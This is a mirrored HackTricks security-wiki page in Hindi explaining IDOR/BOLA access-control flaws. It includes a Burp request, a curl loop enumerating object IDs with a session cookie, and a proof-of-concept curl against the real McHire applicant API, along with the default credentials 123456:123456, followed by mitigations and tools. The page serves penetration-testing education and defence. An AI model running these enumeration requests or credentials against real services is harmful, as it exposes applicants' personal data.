mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
84 lines
8.1 KiB
Markdown
84 lines
8.1 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब प्रकट होता है जब एक वेब या API एंडपॉइंट एक उपयोगकर्ता-नियंत्रित पहचानकर्ता को प्रकट करता है या स्वीकार करता है जो **प्रत्यक्ष रूप से** एक आंतरिक वस्तु तक पहुँचने के लिए उपयोग किया जाता है **बिना यह सत्यापित किए कि कॉलर को उस वस्तु तक पहुँचने/संशोधित करने के लिए अधिकृत है**। सफल शोषण सामान्यतः क्षैतिज या ऊर्ध्वाधर विशेषाधिकार-उन्नयन की अनुमति देता है जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, पूर्ण खाता अधिग्रहण या सामूहिक डेटा निकासी।
|
||
|
||
---
|
||
## 1. संभावित IDOR की पहचान करना
|
||
|
||
1. **पैरामीटर की तलाश करें जो एक वस्तु को संदर्भित करते हैं**:
|
||
* पथ: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* क्वेरी: `?id=42`, `?invoice=2024-00001`
|
||
* बॉडी / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* हेडर / कुकीज़: `X-Client-ID: 4711`
|
||
2. उन एंडपॉइंट्स को प्राथमिकता दें जो **डेटा पढ़ते या अपडेट करते हैं** (`GET`, `PUT`, `PATCH`, `DELETE`)।
|
||
3. ध्यान दें जब पहचानकर्ता **क्रमबद्ध या पूर्वानुमानित** होते हैं - यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद है।
|
||
4. छिपे हुए या वैकल्पिक प्रवाहों का अन्वेषण करें (जैसे *"Paradox team members"* लिंक लॉगिन पृष्ठों में) जो अतिरिक्त APIs को उजागर कर सकते हैं।
|
||
5. एक **प्रमाणित निम्न-विशेषाधिकार सत्र** का उपयोग करें और केवल ID को **समान टोकन/कुकी रखते हुए** बदलें। अधिकृतता त्रुटि की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।
|
||
|
||
### त्वरित मैनुअल छेड़छाड़ (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### स्वचालित सूचीकरण (Burp Intruder / curl लूप)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. वास्तविक-विश्व केस अध्ययन – McHire चैटबॉट प्लेटफ़ॉर्म (2025)
|
||
|
||
Paradox.ai-शक्ति वाले **McHire** भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR का पता चला:
|
||
|
||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||
* Authorization: **किसी भी** रेस्तरां परीक्षण खाते के लिए उपयोगकर्ता सत्र कुकी
|
||
* Body parameter: `{"lead_id": N}` – 8-अंकों का, **क्रमबद्ध** संख्यात्मक पहचानकर्ता
|
||
|
||
`lead_id` को घटाकर, परीक्षक ने मनमाने आवेदकों की **पूर्ण PII** (नाम, ई-मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) प्राप्त की, साथ ही एक उपभोक्ता **JWT** जो सत्र हाइजैकिंग की अनुमति देता है। रेंज `1 – 64,185,742` की गणना करने पर लगभग **64 मिलियन** रिकॉर्ड उजागर हुए।
|
||
|
||
Proof-of-Concept अनुरोध:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
संयुक्त **डिफ़ॉल्ट प्रशासन क्रेडेंशियल्स** (`123456:123456`) ने परीक्षण खाते तक पहुँच प्रदान की, इस भेद्यता के परिणामस्वरूप एक महत्वपूर्ण, कंपनी-व्यापी डेटा लीक हुआ।
|
||
|
||
---
|
||
## 3. IDOR / BOLA का प्रभाव
|
||
* क्षैतिज वृद्धि – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट करना/हटाना।
|
||
* ऊर्ध्वाधर वृद्धि – निम्न विशेषाधिकार प्राप्त उपयोगकर्ता प्रशासन-केवल कार्यक्षमता प्राप्त करता है।
|
||
* यदि पहचानकर्ता अनुक्रमिक हैं (जैसे, आवेदक आईडी, चालान) तो सामूहिक डेटा लीक।
|
||
* अन्य उपयोगकर्ताओं के टोकन चुराकर या पासवर्ड रीसेट करके खाता अधिग्रहण।
|
||
|
||
---
|
||
## 4. शमन और सर्वोत्तम प्रथाएँ
|
||
1. हर अनुरोध पर **ऑब्जेक्ट-स्तरीय प्राधिकरण** लागू करें (`user_id == session.user`)।
|
||
2. स्वचालित वृद्धि आईडी के बजाय **अप्रत्यक्ष, अनुमानित पहचानकर्ताओं** (UUIDv4, ULID) को प्राथमिकता दें।
|
||
3. प्राधिकरण **सर्वर-साइड** पर करें, कभी भी छिपे हुए फ़ॉर्म फ़ील्ड या UI नियंत्रणों पर निर्भर न रहें।
|
||
4. एक केंद्रीय मिडलवेयर में **RBAC / ABAC** जांच लागू करें।
|
||
5. आईडी की गणना का पता लगाने के लिए **रेट-सीमित और लॉगिंग** जोड़ें।
|
||
6. हर नए एंडपॉइंट का सुरक्षा परीक्षण करें (यूनिट, एकीकरण, और DAST)।
|
||
|
||
---
|
||
## 5. उपकरण
|
||
* **BurpSuite एक्सटेंशन**: Authorize, Auto Repeater, Turbo Intruder।
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse।
|
||
* **Github प्रोजेक्ट्स**: `bwapp-idor-scanner`, `Blindy` (बुल्क IDOR शिकार)।
|
||
|
||
## संदर्भ
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include ../banners/hacktricks-training.md}}
|